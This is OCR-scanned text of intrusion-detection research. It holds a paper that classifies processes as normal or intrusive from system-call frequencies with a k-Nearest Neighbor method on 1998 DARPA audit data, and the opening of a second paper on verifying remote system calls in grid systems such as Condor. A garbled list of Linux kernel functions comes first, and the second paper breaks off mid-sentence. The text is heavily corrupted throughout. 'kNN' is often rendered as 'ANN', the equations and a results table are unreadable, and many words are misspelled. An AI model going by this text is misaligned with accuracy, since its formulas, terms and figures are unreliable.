Memory Management || shmem_recalc_inode mm/shmem.c | 
|| shmem_get_inode mm/shincm.c 
| oom_kill_task mm/oom.kill.c | 
Networking __skb_unlink include/linux/skbuff:h || 
|| --skb_insert include/linux/skbut¥.h || 
skb_reserve include/linux/skbut¥.h 
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Abstract 


A new approach, based on the k-Nearest Neighbor 
(KNN) classifier, is used to classify program behavior 
as normal or intrusive. Short sequences of system calls 
have been used by others to characterize a program’s 
normal behavior before. However, separate databases 
of short system call sequences have to be built for dif- 
ferent programs, and leaming program profiles involves 
time-consuming training and testing processes. With 
the ANN classifier, the frequencies of system calls are 
used to describe the program behavior. Text categoriza- 
tion techniques are adopted to convert each process to 
a vector and calculate the similarity between two pro- 
gram activities. Since there is no need to learn individ- 
ual program profiles separately, the calculation involved 
is largely reduced. Preliminary experiments with 1998 
DARPA BSM audit data show that the KNN classifier 
can effectively detect intrusive attacks and achieve a low 
false positive rate. 


1 Introduction 


Intrusion detection has played an important role in com- 
puter security research. Two general approaches to in- 
trusion detection are currently popular: misuse detec- 
tion and anomaly detection. In misuse detection, basi- 
cally a pattern matching method, a user’s activities are 
compared with the known signature patterns of intrusive 
attacks. Those matched are then labeled as intrusive ac- 
tivities. That is, misuse detection is essentially a model- 
reference procedure. While misuse detection can be ef- 
fective in recognizing known intrusion types, it tends to 
give less than satisfactory results in detecting novel at- 
tacks. 


Anomaly detection, on the other hand, looks for patterns 


that deviate from the normal (for example, [1, 2]). In 
spite of their capability of detecting unknown attacks, 


anomaly detection systems suffer trom a basic diff- 
culty in defining what is “normal”. Methods based on 
anomaly detection tend to produce many false alarms 
because they are not capable of discriminating between 
abnormal patterns triggered by an otherwise authorized 
user and those triggered by an intruder [3]. 


Regardless of the approach used, almost all intrusion de- 
tection methods rely on some sort of usage tracks left 
behind by users. People trying to outsmart an intru- 
sion detection system can deliberately cover their ma- 
licious activities by slowly changing their behavior pat- 
terns. Some examples of obvious features that a user can 
manipulate are the time of log-in and the command set 
used [4]. This, coupled with factors emanating from pri- 
vacy issues, makes the modeling of user activities a less 
attractive option. 


Learning program behavior and building program pro- 
files is another possibility. Indeed building program pro- 
files, especially those of privileged programs, has be- 
come a popular alternative to building user profiles in 
intrusion detection [5, 6, 7, 8]. Capturing the system 
call history associated with the execution of a program 
is one way of creating the execution profile of a pro- 
gram. Program profiles appear to have the potential to 
provide concise and stable descriptions of intrusion ac- 
tivity. To date, almost all the research in this area has 
been focused on using short sequences of system calls 
generated by individual programs. The local ordering 
of these system call sequences 1s examined and clas- 
sified as normal or intrusive. There is one theoretical 
and one practical problem with this approach. Theoret- 
ically, no justification has been provided for this defini- 
tion of “nornial’ behavior. Notwithstanding this theoret- 
ical gap, this procedure is tedious and costly. Although 
some automated tools may help to capture system call 
sequences, it is difficult and time consuming to learn in- 
dividually the behavior profiles of all the programs (1.e., 
system programs and application programs). While the 
system programs are not generally updated as often as 
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the application programs, the execution traces of system 
programs are likely to be dynamic also, thus making itt 
difficult to characterize “nonnality”. 


This paper treats the system calls differently. Instead 
of looking at the local ordering of the system calls, our 
method uses the frequencies of system calls to charac- 
terize program behavior for intrusion detection. This 
stratagem allows the treatment of long stretches of sys- 
tem calls as one unit, thus allowing one to bypass the 
need to build separate databases and learn individual 
program profiles. Using the text processing metaphor, 
each system call is then treated as a “word” in a long 
document andthe set of system calls generated by a pro- 
cess 1s treated as the “document”.This analogy makes 
it possible to bring the full spectrum of well-developed 
text processing methods [9] to bear on the intrusion 
detection problem. One such method 1s the k-Nearest 
Neighbor classification method [10, 11]. 


The rest of this paper is organized as follows. In Sec- 
tion 2 we review some related work. Section 3 is a brief 
introduction to the ANN text categorization method. Sec- 
tion 4 describes details of our experiments with the 1998 
DARPA data. We summarize our results in Section 5, 
and Section 6 contains further discussions. 


2 Related Work 


Ko et al. at UC Davis first proposed to specify the 
intended behavior of some privileged programs (setuid 
root programs and daemons in Unix) using a program 
policy specification language [12]. During the pro- 
gram execution, any violation of the specified behavior 
was considered “misuse”. The major limitation of this 
method ts the difficulty of determining the intended be- 
havior and writing security specifications for all moni- 
tored programs. Nevertheless, this research opened the 
door of modeling program behavior for intrusion detec- 
tion. Uppuluri et al. applied the specification-based 
techniques to the 1999 DARPA BSM data using a be- 
havioral monitoring specification language [13]. With- 
out including the misuse specifications, they were able to 
detect 82% of the attacks with 0% false positives. The 
attack detection rate reached 100% after including the 
misuse specifications. 


Forrest’s group at the University of New Mexico intro- 
duced the idea of using short sequences of system calls 
issued by running programs as the discriminator for in- 
trusion detection [5]. The Linux program strace was 
used to capture system calls. Normal behavior was de- 
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fined in terms of short sequences of system calls of a 
certain length in a running Unix process, and a sepa- 
rate database of normal behavior was built for each pro- 
cess of interest. A simple table look-up approach was 
taken, which scans a new audit trace, tests for the pres- 
ence or absence of new sequences of system calls in 
the recorded normal database for a handful of programs, 
and thus determines if an attack has occurred. Lee et 
al. [7] extended the work of Forrest’s group and applied 
RIPPER, a rule learning program, to the audit data of 
the Unix sendmail program. Both normal and abnormal 
traces were used. Warrender et al. [6] introduced a new 
data modeling method, based on Hidden Markov Model 
(HMM), and compared it with RIPPER and simple enu- 
meration method. For HMM, the number of states is 
roughly the number of unique system calls used by the 
program. Although HMM gave comparable results, the 
training of HMM was computationally expensive, espe- 
cially for long audit traces. Ghosh and others [8] em- 
ployed artificta] neural network techniques to learn nor- 
mal sequences of system calls for specific UNIX system 
programs using the 1998 DARPA BSM data. More than 
150 program profiles were established. For each pro- 
gram, a neural network was trained and used to identify 
anomalous behavior. 


Wagner et al. proposed to implement intrusion detec- 
tion via static analysis [14]. The model of expected 
application behavior was built statically from program 
source code. During a program's execution, the ordering 
of system calls was checked for compliance to the pre- 
computed model. Dynamic linking, thread usage and 
modeling library functions pose difficult challenges to 
static analysis. Another limitation of this approach is the 
running time involved in building models for individual 
programs from lengthy source code. 


Unlike most researchers who concentrated on building 
individual program profiles, Asaka et al. [15] intro- 
duced a method based on discriminant analysis. With- 
out examining all system calls, an intrusion detection 
decision was made by analyzing only 11 system calls 
in a running program and calculating the program’s Ma- 
halanobis’ distances to normal and intrusion groups of 
the training data. There were four instances that were 
misclassified out of 42 samples. Due to its small size 
of sample data, however, the feasibility of this approach 
still needs to be established. 


Ye et al. attempted to compare the intrusion detection 
performance of methods that used system call frequen- 
cies and those that used the ordering of system calls [16]. 
The names of system calls were extracted from the au- 
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dit data of both normal and intrusive runs, and labeled 
as nornial and intrusive respectively. It 1s our impres- 
sion that they did not separate the system calls based on 
the programs executing. Since both the frequencies and 
the ordering of system calls are program dependent, this 
oversimplification limits the impact of their work. 


Our approach employs a new technique based on the k- 
Nearest Neighbor classifier for learning program behav- 
ior for intrusion detection. The frequencies of system 
calls executed by a program are used to characterize the 
program’s behavior. Text categorization techniques are 
adopted to convert each process to a vector. Then the k- 
Nearest Neighbor classifier, which has been successful 
in text categorization applications, is used to categorize 
each new program behavior into either normal or intru- 
sive class. 


3 Review of K-Nearest Neighbor Text Cat- 
egorization Method 


Text categorization is the process of grouping text doc- 
uments into one or more predefined categories based on 
their content. A number of statistical classification and 
machine learning techniques have been applied to text 
categorization, including regression models, Bayesian 
classifiers, decision trees, nearest neighbor classifiers, 
neural networks, and support vector machines [9]. 


The first step in text categorization is to transform doc- 
uments, which typically are strings of characters, into 
a representation suitable for the learntng algorithm and 
the classification task. The most commonly used docu- 
ment representation is the so-called vector space model. 
In this model, each document is represented by a vec- 
tor of words. A word-by-document matrix A is used for 
a collection of documents, where each entry represents 
the occurrence of a word in a document, i.e., A = (a;;), 
where a;; 1S the weight of word / in documenty. There 
are several ways of determining the weight a;;. Let fi; 
be the frequency of word / in document, NV the number 
of documents in the collection, V@ the number of distinct 
words in the collection, and n; the total number of times 
word / occurs in the whole collection. The simplest ap- 
proach is Boolean weighting, which sets the weight a;; 
to 1 if the word occurs in the document and 0 other- 
wise. Another simple approach uses the frequency of 
the word in the document, i.e., aij = fij;. A more com- 
mon weighting approach 1s the so-called /f -idf(term fre- 
quency - inverse document frequency) weighting: 


N 
is =" fas OO lOg (*), (1) 


Th; 


A slight variation [17] of the ¢f -idf weighting, which 
takes into account that documents may be of different 
lengths, 1s the following: 


a x log (~) (2) 
yot=1 fi: . 


airy = 


For matrix A, the number of rows coresponds to the 
number of words M in the document collection. There 
could be hundreds of thousands of different words. 
In order to reduce the high dimensionality, stop-word 
(frequent word that carries no information) removal, 
word stemming (suffix removal) and additional dimen- 
sionality reduction techniques, feature selection or re- 
parameterization [9], are usually employed. 


To classify a class-unknown document_X, the k-Nearest 
Neighbor classifier algorithm ranks the document’s 
neighbors among the training document vectors, and 
uses the class labels of the k most similar neighbors 
to predict the class of the new document. The classes 
of these neighbors are weighted using the similarity of 
each neighbor to_X, where similarity is measured by Eu- 
clidean distance or the cosine value between two docu- 
ment vectors. The cosine similarity is defined as follows: 


otie(XNDy) ni x di; 

N= TX le 
where X is the test document, represented as a vector; D ; 
is the /th training document; ¢; is a word shared by_X and 
D,; x; 1s the weight of word ¢; in_X; d;; is the weight of 
word t; in document Dj; || X|lp = /2? + 23 + a3 +... 
isthe norm of X, and ||D,||o is the norm of Dj. A cut- 
off threshold is needed to assign the new document to a 
known class. 





The ANN classifier is based on the assumption that the 
classification of an instance is most similar to the clas- 
sification of other instances that are nearby in the vector 
space. Compared to other text categorization methods 
such as Bayesian classifier, KNN does not rely on prior 
probabilities, and it is computationally efficient. The 
main computation Is the sorting of training documents 
in order to find the & nearest neighbors for the test docu- 
ment. 


We seek to draw an analogy betwecn a text document 
and the sequence of all system calls issued by a process, 
1.€., program execution. The occurrences of system calls 
can be usedto characterize program behavior and trans- 
form each process into a vector. Furthermore, it is as- 
sumed that processes belonging to the same class will 
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Table 1: Analogy between text categorization and Intrusion detection when applying the ANN classifier. 


Terms Text categorization / 
N total number of documents 
M total number of distinct words 


Intrusion Detection 
total number of processes 
total number of distinct system calls 
number of times /th system call was issued 
frequency of ith system call in process / 
/th training process 
test process 


><, OP 
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cluster together in the vector space. Then it ts straight- 
forward to adapt text categorization techniques to mod- 
eling program behavior. Table | tllustrates the similarity 
in some respects between text categorization and intru- 
sion detection when applying the ANN classifier. 


There are some advantages to applying text categoriza- 
tion methods to intrusion detection. First and fore- 
most, the size of the system-call vocabulary ts very lim- 
ited. There are less than 100 distinct system calls in 
the DARPA BSM data, while a typical text categoriza- 
tion problem could have over 15000 unique words [9]. 
Thus the dimension of the word-by-document matrix A 
is significantly reduced, and it ts not necessary to apply 
any dimensionality reduction techniques. Second, we 
can consider intrusion detection as a binary categoriza- 
tion problem, which makes adapting text categorization 
methods very straightforward. 


4 Experiments 


4.1 Data Set 


We applied the 4-Nearest Neighbor classifier to the 1998 
DARPA data. The 1998 DARPA Intrusion Detection 
System Evaluation program provides a large sample of 
computer attacks embedded in normal background traf- 
fic [18]. The TCPDUMP and BSM audit data were col- 
lected on a network that simulated the network traffic of 
an Air Force Local Area Network. The audit logs con- 
tain seven weeks of training data and two weeks of test- 
ing data. There were 38 types of network-based attacks 
and several realistic intrusion scenarios conducted in the 
midst of normal background data. 


We used the Basic Security Module (BSM) audit data 
collected from a victim Solaris machine inside the sim- 
ulation network, The BSM audit logs contain informa- 
tion on system calls produced by programs running on 
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the Solaris machine. Sce [19] for a detailed description 
of BSM events. We only recorded the names of system 
calls. Other attributes of BSM events, such as arguments 
to the system call, object path and attribute, return value, 
etc., were not used here, although they could be valuable 
for other methods. 


The DARPA data was labeled with session numbers. 
Each session corresponds to a TCP/IP connection be- 
tween two computers. Individual sessions can be pro- 
grammatically extracted from the BSM audit data. Each 
session consists of one or more processes. A complete 
ordered list of system calls is generated for every pro- 
cess. A sample system call list ts shown below. The first 
system call issued by Process 994 was close, execve was 
the next, then open, mmap, open and so on. The process 
ended with the system call evit. 


Process ID: 994 


close =omunmap open munmap chmod 
execve mmap numap open close 
open mmap niniap ioctl close 
mmap close munmap — access close 
open open mmap chown close 
mmap = mmap close ioctl close 
mmap Close close access exit 


The numbers of occurrences of individual system calls 
during the execution of a process were counted. Then 
text weighting techniques were ready to transforn the 
process into a vector. We used Equation (2) to encode 
the processes. 


During our off-line data analysis, our data set included 
system calls executed by all processes except the pro- 
cesses of the Solaris operating system such as the inetd 
and shells, which usually spanned several audit log files. 
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Table 2: List of 50 distinct system calls that appcar in the training data set. 
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access chown fchdir — getaudit login mmap pipe setaudit sctpgrp = su 
audit close fchown getmsg logout munmap putmsg _ scetegid sctrlimit sysinfo 
audition creat fentl ioctl Istat nicc readlink = seteuid setuid unlink 
chdir execve fork kill memcnt! open rename _ setgid stat utime 
chmod exit fork | link mkdir pathdonf rmdir setgroups _ statvfs vfork 


4.2 Anomaly Detection 


First we i1mplemented intrusion detection solely based 
on normal program behavior. In order to ensure that all 
possible normal program behaviors are included, a large 
training data set is preferred for anomaly dctection. On 
the other hand, a large training data set means large over- 
head in using a learning algorithm to model program be- 
havior. There are 5 simulation days that were free of 
attacks during the seven-week training period. We arbi- 
trarily picked 4 of them for training, and used the fifth 
one for testing. Our training normal data set consists 
of 606 distinct processes running on the victim Solaris 
machine during these 4 simulation days. There are 50 
distinct system calls observed from the training data set, 
which means each process 1s transformed into a vector 
of size 50. Table 2 lists all the SO system calls. 


Once we have the training data set for normal behav- 
ior, the ANN text categorization method can be easily 
adapted for anomaly detection. We scan the test audit 
data and extract the system call sequence for each new 
process. The new process is also transformed to a vec- 
tor with the same weighting method. Then the similarity 
between the new process and each process tn the train- 
ing normal process data set ts calculated using Equation 
(3). If the similarity score of one training nonnal pro- 
cess 1S equal to 1, which means the system call frequen- 
cles of the new process and the training process match 
perfectly, then the new process would be classified as a 
normal process immediately. Otherwise, the similarity 
scores are sorted and the k nearest neighbors are chosen 
to determine whether the new program execution Is nor- 
mal or not. We calculate the average similarity value of 
the & nearest neighbors (with highest similarity scores) 
and set a threshold. Only when the average similarity 
value is above the threshold, ts the new process consid- 
ered normal. The pseudo code for the adapted ANN al- 
gorithm is presented tn Figure I. 


In intrusion detection, the Receiver Operating Charac- 
teristic (ROC) curve is usually used to measure the per- 
formance of the method. The ROC curve is a plot of 


build the training normal data set D: 
for each process X in the test data do 
if X has an unknown system call then 
X 1s abnormal; 
else then 
for each process D; in training data do 
calculate sim(X, D;); 
if sim(X,D,) equals |.0 then 
X is normal; exit; 
find k biggest scores of sim(X, D); 
calculate sim_aug for k-nearest neighbors; 
if stm_avg is greater than threshold then 
X 1s normal; 
else then 
X 1s abnormal; 


Figure 1: Pscudo code for the ANN classificr algorithm for 
anomaly detcction. 


intrusion detection accuracy against the false positive 
probability. It can be obtained by varying the detection 
threshold. We formed a test data set to evaluate the per- 
formance of the ANN classifier algorithm. The BSM data 
of the third day of the seventh training week was chosen 
as part of the test data set (none of the training processes 
was from this day). There was no attack launched on this 
day. It contains 412 sessions and 5285 normal processes. 
The rest of the test data set consists of 55 intrusive ses- 
sions chosen from the seven-week DARPA training data. 
There are 35 clear or stealthy attack instances included 
inthese intrusive sessions (some attacks involve multiple 
sessions), representing all types of attacks and intrusion 
scenarios in the seven-week training data. Stealthy at- 
tacks attempt to hide perpetrator’s actions from someone 
who Is monitoring the system, or the intrusion detection 
system. Some duplicate attack sessions of the types eject 
and warezclient were skipped and not included in the test 
data sct. When a process Is categorized as abnormal, the 
session that the process is associated with 1s classified 
as an attack session. The intrusion detection accuracy Is 
calculated as the rate of detected attacks. Each attack 
counts as one detection, even with multiple sessions. 
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Figure 2: Performance of the ANN classifier method expressed in ROC curves. False positive rate vs attack detection rate for k=5, 
10 and 25. Corresponding threshold values are shown in the parentheses for k=10. 


Unhike the groups who participated in the 1998 DARPA 
Intrusion Detection Evaluation program [20], we define 
our false positive probability as the rate of mis-classified 
processes, instead of mis-classified sessions. 


The performance of the ANN classifier algorithm also 
depends on the value of k, the number of nearest neigh- 
bors of the test process. Usually the optimal value of 
k is empirically determined. We varied k’s value from 
5 to 25. Figure 2 shows the ROC curves for different 
k values. For this particular data set, k=10 is a better 
choice than other values in that the attack detection rate 
reaches 100% faster. For k=10, the kNN classifier al- 
gorithm can detect 10 of the 35 attacks with zero false 
positive rate. The detection rate reaches 100% rapidly 
when the threshold ts raised to 0.72 and the false posi- 
tive rate remains as low as 0.44% (23 false alarms out of 
5285 normal processes) for the whole simulation day. 


The RSTCORP group gave good performance during 
the evaluation of the 1998 DARPA BSM data [20]. By 
learning normal sequences of system calls for more than 
150 programs, their Elman neural networks [8] were 
able to detect 77.3% of all intrusions with no false pos- 
itives, and 100% of all attacks with about 10% miss- 
classified normal sessions, which means 40 to SO false 
positive alarms for a typical simulation day with 500 
sessions. Their test data consisted of 139 normal ses- 
sions and 22 intrusive sessions. Since different test data 
sets were used, it is difficult to compare the performance 
of our ANN classifier with that of the Elman networks. 
Although the ANN classifier has lower attack detection 
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rate at zero false positive rate, the attack detection rate 
reaches 100% quickly, and hence a low false alarm fre- 
quency can be achieved. 


4.3 Anomaly Detection Combined with Signa- 
ture Verification 


We have just shown that the ANN classifier algorithm can 
be implemented for effective abnormality detection. The 
overall running time of the XNN method is O(N), where 
N is the number of processes in the training data set (usu- 
ally kis a small constant). When J 1s large, this method 
could still be computationally expensive for some real- 
time intrusion detection systems. In order to detect at- 
tacks more effectively, the ANN anomaly detection can 
be easily integrated with signature verification. The ma- 
licious program behavior can be encoded into the train- 
ing set of the classifier. After carefully studying the 35 
attack instances within the seven-week DARPA training 
data, we generated a data set of 19 intrusive processes. 
This intrusion data set covers most attack types of the 
DARPA training data. It tncludes the most clearly ma- 
licious processes, including e/ectexploit, formatexploit, 
ffbexploit and so on. 


For the improved ANN algorithm, the training data set in- 
cludes 606 normal processes as well as the 19 aforemen- 
tioned intrusive processes. The 606 normal processes 
are the same as the ones in subsection 4.2. Each new test 
process is compared to intrusive processes first. When- 
ever there is a perfect match, 1.e., the cosine similarity 
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Table 3: Attack detection rate for DARPA tcsting data (A=10 
and threshold=0.8) when anomaly detection is combined with 
signature verification. 


Attack Detected | Detcction rate 
Known attacks F IG Fl le] 100% 


Novelatacks | _8 | 6 _ 


Total 





is equal to 1.0, the new process 1s labeled as intrusive 
behavior (one could also check for near matches). Oth- 
erwise, the abnormal detection procedure in Figure | 1s 
performed. Due to the small amount of the intrusive pro- 
cesses in the training data set, this modification of the 
algorithm only causes minor additional calculation for 
normal testing processes. 


The performance of the modified kNN classifier algo- 
rithm was evaluated with 24 attacks within the two-weck 
DARPA testing audit data. The DARPA testing data con- 
tains some known attacks as well as novel ones. Some 
duplicate instances of the eject attack were not included 
in the test data set. The false positive rate was evalu- 
ated with the same 5285 testing normal processes as de- 
scribed tn Section 4.2. Table 3 presents the attack de- 
tection accuracy for k=10 and the threshold of 0.8. The 
false positive rate is 0.59% (31 false alarms) when the 
threshold ts adjusted to 0.8. 


The two missed attack instances were a new denial of 
service attack, called process table. They matched with 
one of training normal processes exactly, which made it 
impossible for the ANN algorithm to detect. The pro- 
cess table attack was implemented by establishing con- 
nections to the telnet port of the victim machine every 4 
seconds and exhausting its process table so that no new 
process could be launched [21]. Since this attack con- 
sists of abuse of a perfectly legal action, it did not show 
any abnormality when we analyzed individual processes. 
Characterized by an unusually large number of connec- 
tions active on a particular port, this dental of service 
attack, however, could be easily identified by other in- 
trusion detection methods. 


Among the other 22 detected attacks, cight were cap- 
tured with signature verification. These eight attacks 
could be identified without signature verification as well. 
With signature verification, however, we did not have to 
compare them with each of the normal processes in the 
training data set. 


5 Summary 


In this paper we have proposed a new algorithm based 
on the k-Nearest Netghbor classifier method for model- 
ing program behavior tn intrusion detection. Our pre- 
liminary experiments with the 1998 DARPA BSM audit 
data have shown that this approach ts able to effectively 
detect intrusive program behavior. Compared to other 
methods using short system call sequences, the ANN 
classifier does not have to learn individual program pro- 
files separately, thus the calculation involved with clas- 
sifying new program behavior ts largely reduced. Our 
results also show that a low false positive rate can be 
achieved. While this result may not hold against a more 
sophisticated data set, the k-Nearest Neighbor classifier 
appears to be well applicable to the domain of intrusion 
detection. 


The ¢f -idf text categorization weighting technique was 
adopted to transform each process into a vector. With the 
frequency-weighting method, where each entry is equal 
to the number of occurrences of a system call during the 
process execution, cach process vector does not carry 
any information on other processes. A new training pro- 
cess could be easily added to the training data set with- 
out changing the weights of the existing training sam- 
ples. This could make the ANN classifier method more 
suitable for dynamic environments that require frequent 
updates of the training data. 


In our current implementation, we used all the system 
calls to represent program behavior. The dimension of 
process vectors, and hence the classification cost, can be 
further reduced by using only the most relevant system 
calls. 


6 Discussion 


In spite of the encouraging initial results, there are sev- 
eral issues that require deeper analysis. 


Our approach ts predicated on the following properties: 
the frequencies of system calls issued by a program ap- 
pear consistently across tts normal executions and un- 
seen system calls will be executed or unusual frequen- 
cies of the invoked system calls will appear when the 
program is exploited. We believe these properties hold 
true for many programs. However, if an intrusion does 
not reveal any anomaly in the frequencies of system 
calls, our method would miss it. For example, attacks 
that consist of abuse of perfectly normal processes such 
as process table would not be tdentified by the ANN clas- 
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sifier. 


With the ANN classifier method, each process ts classi- 
fied when it terminates. We argue that it could still be 
suitable for real-time intrusion detection. Each intrusive 
attack is usually conducted within one or more sessions, 
and every session contains several processes. Since the 
kNN classifier method monitors the execution of each 
process, it is highly likely that an attack can be detected 
while it is in operation. However, it 1s possible that an at- 
tacker can avoid being detected by not letting the process 
exit. Therefore, there is a need for effective classification 
during a process’s execution, which Is a significant issue 
for our future work. 
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Abstract 


In the Intcrnct. mobile code is ubiquitous and includes such examples as browser plug-ins, Java applets. and document macros. In 
this paper, we addrcss an important vulnerability in mobile code sccurity that exists in remote cxecution systems such as Condor, 
Globus, and SET1@Homce. These systems schedule uscr jobs for exccution on remote idle machines. However, they send most of 
their important system calls back to the local machine for exccution. Hence, an evil process on the remote machine can manipulate 
a uscr’s job to send destructive system calls back to the local machine. We have developed techniques to remotely detect such 
manipufation. 


Before the job is submitted for remote exccution, we construct a model of the uscr’s binary program using static analysis. This 
binary analysis is applicable to commodity remote exccution systems and applications. During remote job exccution, the modcl 
checks all system calls arriving at the local machine. Exccution is only allowed to continue while the model remains valid. We begin 
with a finite-state machine modcl that accepts scquenccs of system calls and then build optimizations into the model to improve its 
precision and cfficicncy. We also propose two program transformations, renaming and null call insertion, that have a significant 
impact on the precision and cfficicncy. As a desirable siclc-cffect, these techniques also obfuscate the program, thus making it harder 
for the adversary toreverse cnginccr the code. We have implemented a simulated remote excculion environment to demonstrate how 
optimizations and transfomiations of the binary program incrcasc the precision and efficiency. In our test programs, unoptimized 
models increase run-time by 0.5% or Iess. At modcrate levels of optimization, run-time increascs by less than 13% with precision 
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gains reaching 74. 


1 Introduction 


Code moves around the Internet in many forms, includ- 
ing browser plug-ins, Java applets, document macros, 
operating system updates, new device drivers, and 
remote execution systems such as Condor [26], Globus 
[13,14], SETI@Home [32], and others [1,11,35]. 
Mobile code traditionally raises two basic trust issues: 
will the code imported to my machine perform mali- 
clous actions, and will my remotely running code exe- 
cute without malicious modification? We are addressing 
an important variant of the second case: the safety of my 
code that executes remotely and makes frequent service 
requests back to my local machine (Figure 1). In this 
case, we are concerned that a remotely executing pro- 
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cess can be subverted to make malicious requests to the 
local machine. 

The popular Condor remote scheduling system [26] 
is an example of a remote execution environment. Con- 
dor allows a user to submit a job (program), or possibly 
many jobs, to Condor to run on idle machines tn their 
local environment and on machines scattered world- 
wide. Condor jobs can execute on any compatible 
machine with no special privilege, since the jobs send 
their file-access and other critical system calls to execute 
on their home machines. The home or local machine 
acts aS a remote procedure call (RPC) server tor the 
remote job, accepting remote call requests and process- 
ing each call in the context of the user of the local sys- 
tem. This type of remote execution, with frequent 
interactions between machines, differs from execution 
of “mobile agents” [17,30], where the remote job exe- 
cutes to completion before attempting to contact and 
report back to the local machine. 

If the remote job ts subverted, it can request the 
local machine to perform dangcrous or destructive 
actions via these system calls. Subverting a remote job 
is not a new idea and can be done quickly and easily 
with the right tools [16,27]. In this paper, we describe 
techniques to detect when the remote job is making 
requests that differ from its intended behavior. We are 
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Figure 1: Remote execution with system calls being 
executed on home (local) machine. 


addressing the issue of the local host’s safety; we are not 
protecting the remote job from inappropriate access to 
its data nor are we detecting modification of its calcu- 
lated result (beyond those which would appear as inap- 
propriate remote system calls). 

A local machine that accepts calls as valid without 
first verifying that the remote job generated the calls 
during correct execution is vulnerable to maliciously 
generated calls. Conventional authentication methods 
using secret data fail in this inherently risky environ- 
ment. An attacker knows everything present tn the 
remote code, including an authentication mechanism or 
key, and can manipulate this code at will. Thus, 
although the local machine must distrust calls from 
remotely executing code, it has little ability to validate 
these requests. This vulnerability currently exists in the 
thousands of machines worldwide running Condor, Glo- 
bus, Java applets, and similar systems. Our techniques 
address this deficiency. 

Our basic approach to detecting malicious system 
call streams is to perform a pre-execution static analysis 
of the binary program and construct a model represent- 
ing all possible remote call streams the process could 
generate. As the process executes remotely, the local 
agent operates the model incrementally, ensuring that 
any call received remains within the model. Should a 
call fall outside the set of expected next calls determined 
by the model, we consider the remote process manipu- 
lated. Reasonably, a precise model should closely mirror 
the execution behavior of the application. 

As others have noticed [23,36,37], specification of a 
program’s intended behavior can be used for host-based 
intrusion detection. Our approach brings four benefits to 
these intrusion detection systems: 
¢ Direct operation on binary code. 

* Automated construction of specifications. 

¢ Elimination of false alarms. 

* Protection against new types of attacks. 

We further address an important new source of vulnera- 
bilities: request verification when even ciyptographic 
authentication mechanisms cannot be trusted. 
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Any program model representing sequences of 
remote system calls is valid. Previous model construc- 
tion techniques include human specification [22] and 
dynamic analysis. A dynamic analyzer completes train- 
ing runs over multiple execution traces to build proba- 
bility distributions indicating the likelihood of each call 
sequence [12,15,39]. False alanns occur if the training 
runs do not exercise all possible program control flows. 
Static analysis produces non-probabilistic models repre- 
senting all control flow paths through an executable. 
These models are conservative, producing no false 
alarms [36,37] but potentially accepting an attack 
sequence as valid. 

Our models are finite-state machines. We use con- 
trol flow graphs generated from the binary code under 
analysis to construct either a non-deterministic finite- 
state automaton or a push-down automaton to mirror the 
flow of control in the executable. Automata are natural 
structures to represent sequences of remote call names, 
with push-down automata being more precise. We 
develop several optimizations to further increase preci- 
sion while maintaining run-time efficiency. 

We evaluate our program models using two metrics: 
precision and efficiency. Precision measures how tightly 
the model fits the application it represents. Improving 
precision reduces the opportunity for an attack to be 
accepted as valid by the model. Efficiency rates the run- 
time impact of model operation. To evaluate our tech- 
niques and models, we built a prototype static analyzer 
and model builder for a simulated remote execution 
environment. We read binary programs on SPARC 
Solaris machines and produce a model for operation by 
a simulated local agent. The agent receives notifications 
from the application when system calls are encountered 
during execution and operates the model accordingly. 

Our models are efficient. Non-deterministic finite- 
state automaton (NFA) models add 0.5% or less to the 
run-times of our test applications. In the less precise 
NFA models, optimizations become invaluable. Moder- 
ate optimization levels improve precision up to 74% 
while keeping run-time overheads below 13%. Opti- 
mized push-down automaton models are more precise, 
but keep overheads as low as 1%. The precision values 
of these optimized models approach zero, indicating lit- 
tle opportunity for an adversary to begin an attack. 

Other strategies have been used to counter mobile 
code manipulation exploits. Generally orthogonal, one 
finds the greatest security level when incorporating 
components of all three areas into a solution. 

Replication. A form of the Byzantine agreement 
[24], a remote call will be accepted as genuine if a 
majority of replicated processes executing on different 
machines generate the identical call. Sometimes used to 
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verify the results returned by mobile agents [31], such 
techniques appear limited in an environment with fre- 
quent system call interactions over a wide network. 

Obfuscation. A program can be transformed tnto 
one that is operationally equivalent but more difficult to 
analyze [7,8,30,38]. We are applying a variant of such 
techniques to improve our ability to construct precise 
state machines and hamper an adversary’s ability to 
understand the semantics of the program. Even though it 
has been popular in recent years to discount obfuscation 
based upon Barak ct. al. [5], 1n Section 3.4.2 we discuss 
why their theoretical results do not directly apply in our 
context. 

Sandboxing. Running a program in an environment 
where it can do no harm dates back to the early days of 
the Multics operating system project [29]. CRISIS, for 
example, maintains per-process permissions that limit 
system access in WebOS [6]. Our techniques could be 
considered a variety of sandboxing, based on strong 
analysis of the binary program and construction of a 
verifying model to support that analysis. 

This paper makes contributions in several areas: 

Binary analysis. We target commodity computa- 
tional Grid environments where the availability of 
source code for analysis cannot be assumed. Further, our 
analysis is not restricted to a particular source language, 
so our techniques have wide applicability. 

Model optimizations. We develop and use tech- 
niques to increase the precision of the finite-state 
machines we generate, limiting the opportunities for an 
attacker to exploit a weakness of the model. In particu- 
lar, we reduce the number of spurious control flows in 
the generated models with dead automata removal, 
automata inlining, the bounded stack model, and the 
hybrid model. Argument recovery reduces opportunities 
for exploit. We also present a linear time &reduction 
algorithm to simplify our non-deterministic state 
machines. 

Reduced model non-determinism with obfuscatory 
benefits. Many different call sites in a program generate 
requests with the same name. (All opens, for example.) 
Our technique of call site renaming gives us a great abil- 
ity to reduce the non-determinism of our models by 
uniquely naming every call site in the program and 
rewriting the executable. We further insert null calls— 
dummy remote system calls--at points of high non-deter- 
minism to provide a degree of context sensitivity to the 
model. Call site renaming and null call insertion addi- 
tionally obfuscate the code and the remote call stream. 
With binary rewriting, other obfuscation techniques are 
likewise possible. 

Context-free language approximations. In general, 
the language generated by the execution trace of a pro- 
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Figure 2: Grid environment exploit. A lurker proccss 
attaches to the remote job, inserting codec that takes control of 
the network link. 


gram is context-free. A push-down automaton—a finite- 
state machine that includes a run-time stack—defines a 
context-free language. However, such automata are pro- 
hibitively expensive to operate incrementally [36,37] 
and stack growth potentially consumes all system 
resources. We use stack abstractions that over-approxI- 
mate a context-free language with a regular language. 
Our push-down automata with bounded run-time stack 
are less expensive to operate and require finite 
resources. 

We provide background on the Condor system, 
remote execution in the computational Grid environ- 
ment, and security exploits in Section 2. Section 3 pre- 
sents our analysis techniques in an algorithmic fashion. 
Experimental results are found in Section 4 and compar- 
ison to previous work in Section 5. Related work can be 
found in Section 6. We conclude in Section 7 with 
descriptions of several areas of continuing work. 


2 Threats 


Remote execution 1s becoming a common scenario. An 
